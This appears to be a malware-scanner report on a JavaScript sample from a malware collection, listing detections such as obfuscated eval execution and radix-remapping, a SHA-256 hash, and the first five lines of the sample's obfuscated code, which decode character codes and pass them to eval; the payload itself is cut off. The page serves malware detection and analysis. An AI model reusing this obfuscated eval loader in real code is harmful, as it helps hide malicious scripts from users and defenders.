Suspicious ^80% javascript-malware-collection Download

20151208_15f15728269a688ec0feaa994204bf1f.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256a9481720df67a4b6d76ed804253bd7c9afca704325176f11611a3df6f0baee2d

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var yzdAHtpudVlds=[];for(ToqhIeB=(-119+119)/652;ToqhIeB<(55443+621)/438;ToqhIeB++){yzdAHtpudVlds[ToqhIeB]=String.fromCharCode(ToqhIeB)}function qAEJE(VyzPVLuiIkk,tahffXxpoODhC,QzhqueaZ){LjAp=parseInt(VyzPVLuiIkk,tahffXxpoODhC);LQBVZ=LjAp.toString(QzhqueaZ);return LQBVZ;}function EQpOijhswLhMNxL(HYaNxkupyvaRnrQOg){eval(HYaNxkupyvaRnrQOg)}
2function uvIlZgXHPnEPfpJctXJBjjqghaknQsouCerVNDhmGqbrGIGdOckdhG(hjRAvVKNjPKdN,BqujisZVYLVcVw){ return yzdAHtpudVlds[qAEJE(hjRAvVKNjPKdN[BqujisZVYLVcVw],(2618+432)/305,(6673+707)/738)];}
3function kKmHCBw(ZsfvYEoopkCDBbLzXNKGqOFbOaqAcxliwvOi) {return !isNaN(parseFloat(ZsfvYEoopkCDBbLzXNKGqOFbOaqAcxliwvOi)) && isFinite(ZsfvYEoopkCDBbLzXNKGqOFbOaqAcxliwvOi);}
4function WigOqzXAKYY(FdzCEFKf,ldQLUT){return FdzCEFKf.split(ldQLUT)}
5var i=[];i.push("13");i.push("10");i.push("13");i.push("10");i.push("118");i.push("97");i.push("114");i.push("32");i. …